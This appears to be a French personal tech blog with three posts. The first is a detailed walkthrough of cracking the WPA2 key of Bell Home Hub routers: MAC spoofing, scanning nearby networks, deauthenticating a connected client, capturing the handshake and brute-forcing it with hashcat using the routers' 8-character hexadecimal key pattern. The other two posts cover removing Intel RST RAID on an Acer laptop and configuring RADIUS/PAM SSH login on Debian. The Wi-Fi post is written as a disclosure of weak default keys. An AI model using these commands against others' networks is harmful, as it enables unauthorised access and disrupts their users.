05 Jan

Home HUB Router (2000/3000) de Bell – Faiblesse des clés WIFI

Introduction

Après quelques recherches je me suis aperçu que mon fournisseur d’accès Bell utilisait, semble-t-il, toujours le même jeu de caractères pour définir la clé WIFI et toujours de la même longueur. C’est d’ailleurs indiqué sur leur site : https://soutien.bell.ca/services-internet/aide-connexion/que-signifient-ssid-et-wpa2

Longueur de la clé : 8

Parmi 16 caractères possibles : A B C D E F 0 1 2 3 4 5 6 7 8 9

Ça c’est en observant les clés des différentes versions des routeurs que j’ai eu (HH2000, HH3000…), des connexions WIFI mises à disposition dans certains lieux (chez le dentiste, dans mon immeuble…) et en glanant des informations sur les forums. Mais j’ai un doute sur le chiffre « 0 », car je ne suis même pas certain qu’il soit réellement utilisé, pour ne pas embrouiller le client j’imagine (la lettre « O » avec le chiffre « 0 »). Je dis ça car je ne l’ai jamais vu, mais bon dans le doute, on le garde.

Nombre de possibilités : 16^8

Et oui le calcul est on ne peut plus simple, le nombre de combinaisons possibles est : 4 294 967 296

Cela semble énorme comme nombre à première vue mais attendez la suite… j’ai voulu voir combien de temps cela prenait d’essayer de récupérer la clé avec une attaque par brute-force et ainsi valider ma théorie sur cette liste de caractères.

Matériels et logiciels utilisés

Matériels

J’utilise un portable qui possède notamment une carte graphique dédiée Nvidia GeForce GTX 1050 (4G, GDDR5). Ce n’est pas une carte dernier cri mais suffisamment puissante pour mes besoins, elle consomme peu d’énergie et elle est encore plutôt bien notée : https://www.notebookcheck.net/NVIDIA-GeForce-GTX-1050-Notebook.178614.0.html

Pour la partie WIFI j’ai acheté une antenne externe USB avec le chipset Atheros AR9271, à savoir l’adaptateur Alpha AWUS036NHA. C’est un bon rapport qualité/prix, par contre il n’est compatible qu’avec les fréquences 2.4GHz (cela vient du chipset). Ses caractéristiques ici : https://wikidevi.com/files/datasheets/alfa_network/AWUS036NHA.pdf

J’ai choisi cet adaptateur car il supporte l’injection de paquets (monitor mode) et peut se transformer en point d’accès au besoin (master mode).

Logiciels

J’ai utilisé VMware Workstation player avec une VM Kali (Kali-Linux-2018.4-vm-amd64) pour la partie OS. Elle reconnait de suite l’adaptateur WIFI USB. On peut télécharger la VM ici. Ensuite, j’ai pris la suite aircrack-ng pour capturer le trafic voulu. D’autres outils existent comme Wifite qui font cela automatiquement mais je voulais décortiquer les différentes étapes.

Pour cracker la clé WIFI j’ai utilisé la version Windows de l’application Hashcat (hashcat-5.1.0) disponible . Afin d’avoir des performances optimales avec ma carte graphique.

Capture réseau

Une fois la VM lancée et la session Kali ouverte, il me suffit de connecter mon adaptateur WIFI USB (clic droit sur le dessin d’un petit dongle USB en haut à droite et « connect »).

Avant toute chose, il est préférable de changer temporairement son adresse MAC, pour cela on ouvre le terminal :

# On vérifie le nom de notre interface, ici "wlan0"
root@appareil-inconnu:~# ip link
7: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DORMANT group default qlen 1000
    link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff

# On tue les processes qui pourraient perturber l'attaque
root@appareil-inconnu:~# airmon-ng check kill

Killing these processes:

  PID Name
  803 wpa_supplicant

# On active la carte en mode injection de paquets
# Le nom de l'interface passe de "wlan0" à "wlan0mon"
root@appareil-inconnu:~# airmon-ng start wlan0

PHY	Interface	Driver		Chipset
phy2	wlan0		ath9k_htc	Atheros Communications, Inc. AR9271 802.11n
		(mac80211 monitor mode vif enabled for [phy2]wlan0 on [phy2]wlan0mon)
		(mac80211 station mode vif disabled for [phy2]wlan0)

# On arrête l'interface wlan0mon
root@appareil-inconnu:~# ifconfig wlan0mon down

# On change son adresse MAC (mode random)
# Nouvelle MAC : 6a:ac:c3:a9:2c:71
root@appareil-inconnu:~# macchanger -r wlan0mon
Current MAC:   XX:XX:XX:XX:XX:XX (ALFA, INC.)
Permanent MAC: XX:XX:XX:XX:XX:XX (ALFA, INC.)
New MAC:       6a:ac:c3:a9:2c:71 (unknown)

# On ré-active l'interface
root@appareil-inconnu:~# ifconfig wlan0mon up

# On vérifie que l'adresse MAC est bien la nouvelle, c'est le cas
root@appareil-inconnu:~# ip link
10: wlan0mon: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UNKNOWN mode DEFAULT group default qlen 1000
    link/ieee802.11/radiotap 6a:ac:c3:a9:2c:71 brd ff:ff:ff:ff:ff:ff

Nous allons maintenant pouvoir identifier les routeurs Bell aux alentours, pour cela une seule commande (je masque volontairement les SSID et adresses MAC 🙂 ) :

root@appareil-inconnu:~# airodump-ng wlan0mon --essid-regex ^BELL

 CH  5 ][ Elapsed: 6 s ][ 2018-01-26 14:35 ]                                        
                                                                                                                                      
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                      
 XX:XX:XX:XX:XX:XX  -78        1        0    0  10  195  WPA2 CCMP   PSK  BELLXXX                                                     
 XX:XX:XX:XX:XX:XX  -72        3        0    0  10  195  WPA2 CCMP   PSK  BELLXXX                                                     
 XX:XX:XX:XX:XX:XX  -44        3        0    0  11  195  WPA2 CCMP   PSK  BELLXXX                                                     
 XX:XX:XX:XX:XX:XX  -63        5        0    0   1  195  WPA2 CCMP   PSK  BELLXXX                                                     
 XX:XX:XX:XX:XX:XX  -69        4        0    0   1  195  WPA2 CCMP   PSK  BELLXXX                                                     
                                                                                                                                       
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                             
                                                                                                                                      
 XX:XX:XX:XX:XX:XX  XX:XX:XX:XX:XX:XX  -48    0 - 1e     0        1  VICTIM                                                                  
 (not associated)   XX:XX:XX:XX:XX:XX  -77    0 - 1      1        3  TV_VIZIO

Rapidement on obtient une liste d’équipements, on notera d’ailleurs qu’ils sont tous sur le même schéma au niveau du SSID avec « BELL » suivi de 3 chiffres. Ce qui limite le nombre d’appareils à 1000 en comptant le 0 (on a aussi cette information en haut de l’article sur la première image). Ça me parait peu mais bon, passons.

Pour notre exemple, je vais choisir le 3ème routeur en partant du haut, celui que l’on capte le mieux qui est sur le canal 11 et surtout on voit plus bas qu’un client semble actif (VICTIM). En effet, pour mener à bien notre attaque, nous devons avoir de l’activité avec un client.

Et oui, l’une des options que l’on a pour retrouver la clé déchiffrée est de capturer au préalable ce que l’on appelle le « 4-Way Handshake » (poignée de main à 4 voies). Quelques explications claires ici : https://www.cleartosend.net/understanding-4-way-handshake/

Pour cela, nous avons notamment deux options : attendre qu’un client se connecte ou bien forcer un client déjà connecté à se reconnecter. Dans les deux cas nous serons en mesure de capturer le Handshake. Ici nous serons dans le 2ème cas.

Voici les commandes à utiliser pour provoquer et capturer le Handshake, il faudra ouvrir deux terminaux. Commande à lancer dans le premier terminal :

# On filtre sur notre victime avec le BSSID (adresse MAC du routeur) et le canal
# Et on sauvegarde les données dans un fichier au nom du ESSID
root@appareil-inconnu:~# airodump-ng -c 11 --bssid XX:XX:XX:XX:XX:XX -w /root/BELLXXX wlan0mon

 CH 11 ][ Elapsed: 24 s ][ 2018-01-26 14:40 ]                
                                                                                                
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                
 XX:XX:XX:XX:XX:XX  -62 100      149      250   35  11  195  WPA2 CCMP   PSK  BELL005           
                                                                                                
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                      
                                                                                                
 XX:XX:XX:XX:XX:XX  XX:XX:XX:XX:XX:XX  -60    0 -24      0        4                              
 XX:XX:XX:XX:XX:XX  XX:XX:XX:XX:XX:XX  -69    0 - 1e     1       14

Dans un second terminal on force l’un des clients actifs à se reconnecter :

# On lance deux fois une commande qui va forcer le client à se déconnecter de l'Acces Point
# On cible pour cela le client avec son adresse MAC, -a avec le BSSID (le routeur cible) et -c pour l'adresse MAC du client
oot@appareil-inconnu:~# aireplay-ng -0 2 -a XX:XX:XX:XX:XX:XX -c XX:XX:XX:XX:XX:XX wlan0mon
14:42:16  Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX) on channel 11
14:42:16  Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 2|62 ACKs]
14:42:17  Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 7|73 ACKs]

Cela revient à priver la victime de son accès Internet pendant quelques secondes (un mini « DOS » en quelque sorte) mais le client se reconnectera automatiquement, ce sera quasiment transparent pour notre victime.

On revient dans notre premier terminal et bout de quelques secondes on verra apparaître en haut à droite « WPA handshake« , c’est gagné :

 CH 11 ][ Elapsed: 24 s ][ 2018-01-26 14:42 ][ WPA handshake: XX:XX:XX:XX:XX:XX                 
                                                                                                
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                
 XX:XX:XX:XX:XX:XX  -65 100      209      250   35  11  195  WPA2 CCMP   PSK  BELL005           
                                                                                                
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                      
                                                                                                
 XX:XX:XX:XX:XX:XX  XX:XX:XX:XX:XX:XX  -63    0 -24     50        130                              
 XX:XX:XX:XX:XX:XX  XX:XX:XX:XX:XX:XX  -70    0 - 1e     1       14                              

On arrête la commande du 1er terminal (CTRL + C) et vous verrez plusieurs fichiers créés dans le répertoire « /root », celui ou ceux qui nous intéressent pour la suite de l’attaque se terminent par « *.cap », ils contiennent le Handshake :

root@appareil-inconnu:~# ll -lt | grep BELLXXX
-rw-r--r-- 1 root root  213545 Jan 26 14:42 BELLXXX-02.cap
-rw-r--r-- 1 root root     861 Jan 26 14:42 BELLXXX-02.csv
-rw-r--r-- 1 root root     590 Jan 26 14:42 BELLXXX-02.kismet.csv
-rw-r--r-- 1 root root    6995 Jan 26 14:42 BELLXXX-02.kismet.netxml
-rw-r--r-- 1 root root   68676 Jan 26 14:42 BELLXXX-02.log.csv
-rw-r--r-- 1 root root   50776 Jan 26 14:41 BELLXXX-01.cap
-rw-r--r-- 1 root root     861 Jan 26 14:41 BELLXXX-01.csv
-rw-r--r-- 1 root root     586 Jan 26 14:41 BELLXXX-01.kismet.csv
-rw-r--r-- 1 root root    6993 Jan 26 14:41 BELLXXX-01.kismet.netxml
-rw-r--r-- 1 root root   45250 Jan 26 14:41 BELLXXX-01.log.csv

Il suffit ensuite de convertir notre fichier « *.cap » dans un format compatible avec l’application Hashcat que l’on utilisera dans la section suivante. Ce dernier propose pour cela un outil de conversion « cap2hccapx.bin » :

# Toujours depuis le répertoire "/root" on lance la commande de conversion
# Elle est présente par défaut dans Kali
root@appareil-inconnu:~# /usr/lib/hashcat-utils/cap2hccapx.bin ./BELLXXX-02.cap ./BELLXXX.hccap
Networks detected: 1

[*] BSSID=XX:XX:XX:XX:XX:XX ESSID=BELLXXX (Length: 7)
 --> STA=XX:XX:XX:XX:XX:XX, Message Pair=0, Replay Counter=1
 --> STA=XX:XX:XX:XX:XX:XX, Message Pair=2, Replay Counter=1

Written 2 WPA Handshakes to: ./BELLXXX.hccap

On se retrouve donc avec un nouveau fichier « BELLXXX.hccap » contenant plusieurs Handshake.

Il sera peut-être nécessaire d’essayer avec les différents fichiers « *.cap », certains ne contiendront pas le Handshake, et vous aurez ce message :

Written 0 WPA Handshakes to: ./BELLXXX.hccap

Passons à la suite.

Récupération de la clé WIFI

La phase de récupération de la clé WIFI se fera « offline », il n’y aura plus d’interactions avec notre victime.

J’ai donc utilisé l’application Hashcat pour Windows, dont vous trouverez le binaire sur le site de l’éditeur ici : https://hashcat.net/hashcat/

Une fois l’archive décompressée, il suffit d’ouvrir une fenêtre DOS, de se rendre dans le répertoire du binaire où l’on aura déposé au préalable le fichier précédemment créé.

On lance ensuite la commande « magique » qui permet de faire une brute-force en testant toutes les combinaisons possibles des 16 caractères pour une longueur de 8 :

C:\Users\admin\Downloads\hashcat-5.1.0>hashcat64.exe -m 2500 -a3 bellXXX.hccap -1 ?dABCDEF ?1?1?1?1?1?1?1?1 -d 3 -w 3
hashcat (v5.1.0) starting...

* Device #1: Intel's OpenCL runtime (GPU only) is currently broken.
             We are waiting for updated OpenCL drivers from Intel.
             You can use --force to override, but do not report related errors.
* Device #3: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
nvmlDeviceGetFanSpeed(): Not Supported

OpenCL Platform #1: Intel(R) Corporation
========================================
* Device #1: Intel(R) UHD Graphics 630, skipped.
* Device #2: Intel(R) Core(TM) i5-8300H CPU @ 2.30GHz, skipped.

OpenCL Platform #2: NVIDIA Corporation
======================================
* Device #3: GeForce GTX 1050, 1024/4096 MB allocatable, 5MCU

Hashes: 2 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Watchdog: Temperature abort trigger set to 90c
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => 

Explications des options utilisées avec cette commande :

  • hashcat64.exe = version 64 bits de l’application
  • -m 2500 = type de Hash que l’on cherche à craquer, ici WPA-EAPOL-PBKDF2
  • -a3 = mode d’attaque, ici Brute-force
  • bellXXX.hccap = notre fichier contenant le Handshake
  • -1 = jeu de caractères personnalisé
  • ?dABCDEF = notre jeu de caractère c-à-d « d » pour 0123456789 et plus ABCDEF
  • ?1?1?1?1?1?1?1?1 = longueur de notre clé WIFI que l’on cherche, à savoir 8 caractères
  • -d 3 = carte graphique que l’on veut utiliser et/ou CPU
  • -w 3 = profil de travail de la carte graphique, cela correspond au niveau « High », niveau 3 sur 4 afin de gagner quelques hashrate sans non plus solliciter celle-ci à fond

En appuyant sur la touche « s » on obtient tout un tas d’informations, notamment le temps estimé maximal pour tester toutes combinaisons et la vitesse de traitement qui s’exprime en Hashrate par seconde :

Session..........: hashcat
Status...........: Running
Hash.Type........: WPA-EAPOL-PBKDF2
Hash.Target......: BELLXXX (AP:XX:XX:XX:XX:XX:XX STA:XX:XX:XX:XX:XX:XX)
Time.Started.....: Fri Jan 26 16:02:07 2018 (3 secs)
Time.Estimated...: Sat Jan 27 04:13:14 2018 (12 hours, 11 mins)
Guess.Mask.......: ?1?1?1?1?1?1?1?1 [8]
Guess.Charset....: -1 ?dABCDEF, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 1/1 (100.00%)
Speed.#3.........:    97961 H/s (51.25ms) @ Accel:128 Loops:32 Thr:1024 Vec:1
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 0/4294967296 (0.00%)
Rejected.........: 0/0 (0.00%)
Restore.Point....: 0/268435456 (0.00%)
Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:1344-1376
Candidates.#3....: 12345678 -> 1F6E7312
Hardware.Mon.#3..: Temp: 58c Util:100% Core:1721MHz Mem:3504MHz Bus:16

Et là surprise, en maximum 12 heures de traitement je devrais être en mesure de découvrir la clé WIFI…mais au bout de deux heures finalement, j’ai déjà une réponse :

2c6956780e4b7b3cea00f6e7492eefaa:5454df9ea0d45:acafc943f271:BELLXXX:A2F7F579 <--- Voici notre clé !

Session..........: hashcat
Status...........: Cracked
Hash.Type........: WPA-EAPOL-PBKDF2

Bingo !

Conclusion

Voilà, je ne m’attendais pas à pouvoir obtenir et craquer ma clé WIFI aussi facilement 😉 Et oui, je n’ai pas voulu prendre de risques avec mes chers voisins ! J’ai laissé la clé WIFI initiale pour mes tests. Blague à part, il est grand temps que WPA3 remplace le vieillissant protocole WPA2, même si tout cela prendra des mois voire des années. Les constructeurs et fournisseurs vont certainement profiter de l’occasion pour forcer les utilisateurs à changer d’équipements, il y aura des périodes bugs etc…

Je n’ai ici montré qu’un seul moyen pour obtenir le sésame, d’autres méthodes sont apparues dont une récente qui ne nécessite même plus de capturer le Handshake, c’est une attaque « sans client ». Mais l’attaque par force brute du mot de passe est toujours nécessaire.

Bref, en attendant WPA3, ce serait bien que les fournisseurs et/ou constructeurs augmentent drastiquement le nombre de caractères de base… En effet, combien de personnes « lambda » changent cette clé à la réception de leur équipement ?…

30 Nov

Intel RST – Comment retirer le RAID sur un laptop ACER et retrouver son disque HDD ?

Préambule

Un article afin de venir en aide à ceux qui utilisent un laptop de marque Acer et galèrent pour retirer le RAID « logiciel » d’Intel Rapid Storage Technology…

Pour ma part je suis (l’heureux !) propriétaire d’un Acer Aspire A715-72G-55EP. Aucun problème, il fonctionne très bien, un vrai régal. Il contient 2 disques : 1 SSD de 128 Go et 1 HDD de 1 To (important pour la suite…)

Mais je ne sais pas ce qui m’a pris, dès le premier jour j’ai voulu tester l’application d’Intel RST en créant un nouveau volume unique… quelle erreur !!!

Déjà je n’ai pas réfléchi car l’OS étant installé sur le disque SSD, donc le plus rapide des 2, je n’avais aucun avantage en terme de performance à faire cela… ensuite, j’ai choisi la sécurité en prenant l’option RAID 1 (mirroring), du coup, bye bye les 1 To, je ne pouvais utiliser que 128 Go en tout et pour tout…

Et dernière remarque, mon HDD (D:\) avait naturellement disparu de l’explorateur de fichiers… je ne voyais plus que mon disque SSD (C:\)…

Je me suis dit, pas de panique, on va revenir en arrière, il suffit de chercher dans l’interface… que nenni, il n’y a pas d’options pour cela !!! Ah, là je commence à stresser un peu…

Avant de tenter quoi que ce soit, et je vous le conseille, j’ai réalisé une sauvegarde du laptop via l’application Acer eRecovery Management, qui est bien faite au passage. Pour cela, insérez une clé USB de 16 Go minimum puis faites :

Gestion de la récupération / Sauvegarder / Créer une sauvegarde… et cliquez sur « Pour commencer »

Attention, elle sera complètement formatée. Il faudra compter une bonne heure.

Solutions tentées mais sans résultat

J’ai d’abord trouvé qu’Intel proposait une option pour arriver dans le menu RAID durant le boot avec la combinaison CTRL + I… malheureusement, Acer ne permet pas l’accès à ce menu…

J’ai ensuite tenté de « jouer » dans le BIOS avec F2 afin de voir les choix possibles… il y en a peu. On peut tout de même passer du mode RST à AHCI et choisir les disques à activer ou non par exemple…Malgré de nombreux tests, impossible de voir le deuxième disque :

Bon, j’ai donc réinstallé le laptop via l’application Acer eRecovery Management (Gestion de la récupération / Restaurer) mais aucun changement…

J’ai ensuite tenté une restauration via le menu de restauration Windows avec la combinaison ALT + F10 2 fois à l’apparition du logo Acer au boot, aucun changement, c’est le même déroulement que précédemment en fait.

Nouvelle tentative avec la clé USB fraîchement crée (depuis le même menu ALT + F10 2 fois toujours), même constat…

Après, j’ai vu qu’il existait une utilitaire qui permettait de modifier le RAID en CLI sur le FTP d’acer, bien qu’il ne soit pas pour mon modèle : ftp://ftp.acer-euro.com/Notebook/Predator/G9-793/RAID_Tool.zip

J’ai bien essayé mais… la version de mon pilote est trop récente.

J’ai aussi tenté de le mettre à une ancienne version, de désinstaller l’application Intel RST etc… même résultat !!!

J’ai fini par contacter le support via le chat, ils répondent rapidement, super !… mais il me donne la même procédure qu’au début, faire ALT + F10 2 fois et restaurer… Arghhh !!!

Oui, là je commence à stresser un peu (beaucoup !!!) plus j’avoue, je me voyais déjà remballer le laptop et le renvoyer chez Acer…

Solution qui fonctionne (enfin !)

On y arrive ! Désolé, je n’ai pas beaucoup de screenshot, il faut bien suivre la procédure décrite. Je ne pensais pas rencontrer tous ces problèmes aussi…Bon, ce forum (Update le 16/05/2020, le lien ne semble plus fonctionner) m’a permis de venir à bout du problème, ouf. L’idée est de modifier l’exécutable de l’utilitaire RAID en lui indiquant que notre version de pilote est compatible.

Avant toute chose, si vous aviez joué dans le BIOS comme moi au préalable, il faudrait mieux remettre les réglages par défaut : F2, F9 puis F10

1/ Notez le nom du volume que vous avez défini (Volume_0000 par défaut), à droite dans l’interface Intel RST sous « Affichage du système de stockage »

2/ Téléchargez l’application RAID chez Intel en version 13.2 et dé-zippez-la à la racine de votre lecteur C:\ https://downloadcenter.intel.com/download/24310/Intel-Rapid-Storage-Technology-Intel-RST-Command-Line-Interface-CLI

UPDATE le 16/05/2020 : Voici le fichier car il ne semble plus disponible chez Intel, lien non fonctionnel (Merci ABDOUL Raza) :

3/ Toujours dans le répertoire « RST13.2.0.1016_CLI_Tools », dé-zippez également le dossier « x64 » (pour la version 64 bits bien-sur)

4/ Téléchargez l’application HxD et installez-la : https://mh-nexus.de/downloads/HxDSetupFR.zip

5/ Lancez l’application HxD, ouvrez le fichier nommé « rstcli64.exe », modifiez la valeur de l’offset 0x75FE1 à 84 (au lieu de 85 par défaut) et sauvegardez :

6/ Maintenant redémarrez le PC en mode invite de commandes (CMD), une petit astuce pour cela :

  • cliquez sur le logo Windows (en bas à gauche de l’écran),
  • puis sur le bouton d’alimentation,
  • et là faites SHIFT + Redémarrer
  • Choisir : Dépannage / Options avancées / Invite de commandes

7/ Une fois dans la fenêtre CMD :

Attention, à cette étape si vous aviez opté pour un RAID 0 (striping) au départ vous allez perdre toutes vos données !!! Mais pas le choix. D’où l’intérêt de sauvegarder vos données avant sur un support externe.

  • c: + Enter
  • cd RST13.2.0.1016_CLI_Tools
  • cd x64
  • Et maintenant la commande magique : 
rstcli64.exe --manage --delete [Votre nom de volume de l'étape 1/] + Enter

Si tout va bien, vous devriez avoir un message de succès.

8/ Vérifier que vous pouvez voir à nouveau le second disque :

  • Toujours dans l’invite de commandes, tapez diskpart, puis list disk :

Yes !

9/ Ce n’est pas fini, il faut maintenant nettoyer le disque avec l’utilitaire diskpart toujours :

  • Tapez diskpart
  • puis list disk et identifiez bien l’ID correspondant au disque à supprimer (1 certainement)
  • ensuite faites select disk [ID du disque à effacer] ne pas se tromper de disque !!!
  • enfin tapez clean c’est suffisant et instantané. Vous pouvez également taper clean all mais ce sera beaucoup plus long, c’est un effacement sécurisé

10/ Dernière étape, il vous suffit de formater votre disque avec l’utilitaire « Gestion du disque » :

  • Clic droit sur le logo Windows et choisissez « Gestion du disque« 
  • Puis clic droit sur le lecteur à formater (probablement D:) et faites Formater… (choississez le système de fichiers qui vous convient le mieux)

Voilà, c’est fini ! Le second disque est enfin visible et utilisable, ouf !

05 Fév

Authentification RADIUS sous Linux OS Debian (PAM)

Introduction

Dans ce 1er article nous verrons ensemble comment nous authentifier sur un serveur Linux en nous appuyant sur le protocole RADIUS (pour Remote Authentification DIal-in User Service, protocole AAA).

Il s’agit plus d’une découverte du « système » PAM (Pluggable Authentication Modules) car son implémentation peut devenir relativement complexe. Il peut notamment permettre la mise en place de diverses stratégies et mécanismes d’authentification comme LDAP, kerberos, lecteur d’empreinte digital etc… PAM fait également office d’API, de librairie… Ce qui ouvre beaucoup de possibilités aux développeurs et différents langages de programmation.

Si vous utilisez déjà un serveur d’annuaire Microsoft pour authentifier vos utilisateurs en entreprise (Active Directory), l’intérêt sera de pouvoir se baser sur ce dernier pour authentifier de la même manière les linuxiens 😉

Cela permet de faciliter la gestion des utilisateurs (une seule base de données), d’augmenter le niveau de sécurité et d’apporter plus de confort à l’utilisateur final.

Nous nous attarderons un peu sur la partie débogage que je trouve intéressante.

Pré-requis

  • Un serveur RADIUS opérationnel avec les règles qui vont bien comme FreeRADIUS ou NPS Server de Microsoft
  • Un serveur Linux sur une architecture Debian assez récente (Debian 8 ou Ubuntu 16.04 par exemple)
  • Un compte utilisateur ayant un accès avec privilèges (via sudo ou root directement)
  • Un accès console SSH ou un terminal
  • Un éditeur de texte comme vi
  • Un accès Internet
  • Un serveur Active Directory Microsoft

Installation et configuration du module PAM

Important: Assurez-vous de garder un shell ouvert durant les opérations, afin de vous assurer de toujours avoir la main et de faire un rollback en cas de soucis

Nous installons la librairie RADIUS en premier lieu :

sudo apt-get update && sudo apt-get upgrade
sudo apt-get install libpam-radius-auth

Nous devons ensuite créer les comptes utilisateurs sur le serveur Linux. Ils doivent strictement correspondre au logon name c.-à-d. au champ « sAMAccountName » dans l’annuaire :

sudo useradd -s /bin/bash -m -G sudo admin

A noter que l’on ne créé pas de mot de passe pour cet utilisateur.

On modifie les propriétés du fichier de configuration de la librairie ainsi que les droits associés. Par sécurité, il ne doit appartenir qu’au compte root en lecture/écriture :

sudo chown root /etc/pam_radius_auth.conf
sudo chmod go-rwx /etc/pam_radius_auth.conf

On édite ce fichier de configuration et on ajoute notre serveur RADIUS dans la section adéquate :

sudo vi /etc/pam_radius_auth.conf
# server[:port] shared_secret      timeout (s)
#127.0.0.1      secret             1
[adresse IP du serveur RADIUS] :1812     [secret/mot de passe partagé]    60

Suivant la version de votre serveur RADIUS, vous devrez peut-être mettre le port UDP 1645 à la place de UDP 1812. A noter qu’il est préférable d’augmenter le timeout à 60 secondes, notamment si vous utilisez du 2FA. Pour laisser le temps aux usagers de se connecter si leur connexion n’est pas bonne.

Autorisons maintenant l’authentification par le protocole RADIUS en SSH. Nous allons pour cela éditer le fichier suivant et ajouter la ligne qui commence par « auth… » au tout début, juste avant le ligne « @include common-auth » :

sudo vi /etc/pam.d/sshd
# Standard Un*x authentication.
auth        sufficient     /lib/security/pam_radius_auth.so
@include common-auth

Petite explication sur cette ligne :

auth = permet la vérifier l’identité de l’utilisateur lors de la connexion

sufficient = cela indique que si le test d’authentification réussi (utilisateur existant dans l’annuaire et mot de passe correct), le traitement s’arrête là.

/lib/security/pam_radius_auth.so = chemin vers la librairie utilisée, RADIUS dans notre cas

En effet, ce fichier, et un fichier « PAM » de manière générale,  comprend un séquencement d’opérations qui sont traitées successivement sur conditions (échec ou réussite). Cela représente une « pile » de règles en quelque sorte.

Pour plus de détails et d’explications claires, je vous invite à vous rendre sur ce site : http://debian-facile.org/doc:systeme:pam

A ce stade, un administrateur linux pourra s’authentifier mais il n’aura pas de privilèges. On doit donc éditer le fichier suivant et ajouter la ligne qui commence par « auth… » au tout début, juste avant le ligne « @include common-auth » :

sudo vi /etc/pam.d/sudo
# Standard Un*x authentication.
auth        sufficient     /lib/security/pam_radius_auth.so
@include common-auth

Et enfin, on doit autoriser l’administrateur à changer de compte utilisateur si besoin. Aussi, on va donc éditer le fichier suivant et cette fois on ajoute la ligne qui commence par « auth… » en fin de fichier, juste avant le ligne « @include common-auth » :

sudo vi /etc/pam.d/sudo
# The standard Unix authentication modules, used with
# NIS (man nsswitch) as well as normal /etc/passwd and
# /etc/shadow entries.
auth        sufficient     /lib/security/pam_radius_auth.so
@include common-auth

La partie configuration est terminée. Passons à la phase de test !

Tests et débogage

Si tout va bien, vous devriez pouvoir vous connecter en SSH avec votre compte Active Directory et voir apparaître le prompt :

Last login: Wed Feb 7 14:25:01 2018 from mon_pc.mon_domaine.corp
admin@mon_serveur-01:~$

On vérifie que notre compte a bien les privilèges en appelant une commande non accessible pour un utilisateur sans droit :

admin@mon_serveur-01:~$ sudo ifconfig
[sudo] password for admin:
eth0 Link encap:Ethernet HWaddr 00:50:13:37:05:34
  inet addr:10.66.0.200 Bcast:10.66.0.255 Mask:255.255.255.0
  inet6 addr: fe80::250:56ff:fe85:6ffb/64 Scope:Link
  UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
  RX packets:109443470 errors:0 dropped:1 overruns:0 frame:0
  TX packets:18550308 errors:0 dropped:0 overruns:0 carrier:0
  collisions:0 txqueuelen:1000
  RX bytes:10289511895 (9.5 GiB) TX bytes:2060556027 (1.9 GiB) 

De la même manière vous devriez être en mesure de passer root et changer d’utilisateur :

admin@mon_serveur-01:~$ sudo su (votre mot de passe)
root@mon_serveur-01:/home/admin#
admin@mon_serveur-01:~$ su root (mot de passe root cette fois)
root@mon_serveur-01:/home/admin#

En cas de soucis, vous avez la possibilité d’activer le mode debug. Pour cela, il faut ajouter le mot clé « debug » comme ici dans le fichier « /etc/pam.d/sshd » (mais applicable dans tout fichier « PAM ») :

auth sufficient /lib/security/pam_radius_auth.so debug

Assurez-vous ensuite que votre serveur log correctement les messages en mode « debug » dans un fichier de logs, qui est le mode le plus bavard.

Si ce n’est pas le cas, ajoutez ce fichier dans le répertoire rsyslog, service installé par défaut normalement (remplaçant de syslog, sinon installez-le avec « sudo apt-get install rsyslog« ) :

sudo vi /etc/rsyslog.d/80-debug.conf

Puis ajoutez ceci dedans :

$template debug-mode,"/var/log/%hostname%-debug.log"
*.* ?debug-mode

Cela aura pour effet de rediriger/d’écrire l’ensemble des messages du serveur dans un fichier qui aura comme nom le nom du serveur: mon_serveur-01-debug.log

Pour que le changement soit pris en compte, il faut relancer le service rsyslog :

sudo systemctl restart rsyslog.service

Ou suivant votre gestionnaire de système :

sudo service rsyslog restart

En enfin, affichez les logs à l’écran en temps réel grâce à la commande tail -f et en filtrant les messages :

tail -f /var/log/mon_serveur-01-debug.log | grep sshd

Ici j’ai rentré un utilisateur qui est inconnu sur le serveur Linux et dans l’Active Directory (j’ai retiré l’horodatage pour une meilleure lecture) :

sshd[31232]: Invalid user le_matou from 192.168.2.200
sshd[31232]: input_userauth_request: invalid user le_matou [preauth]
sshd[31232]: pam_radius_auth: Got user name le_matou
sshd[31232]: pam_radius_auth: Sending RADIUS request code 1
sshd[31232]: pam_radius_auth: Got RADIUS response code 3
sshd[31232]: pam_radius_auth: authentication failed
sshd[31232]: pam_unix(sshd:auth): check pass; user unknown
sshd[31232]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=mon_pc.mon_domaine.corp
sshd[31232]: Failed password for invalid user le_matou from 192.168.2.200 port 21962 ssh2
sshd[31232]: Connection closed by 192.168.2.200 [preauth]

On voit que le système détecte d’emblée que le compte utilisateur n’existe pas sur le serveur puis que le serveur RADIUS rejette l’utilisateur.

Un autre cas où cette fois l’utilisateur existe bien sur le serveur Linux (avec un mot de passe) mais pas dans l’Active Directory :

sshd[26457]: pam_radius_auth: Got user name le_matou
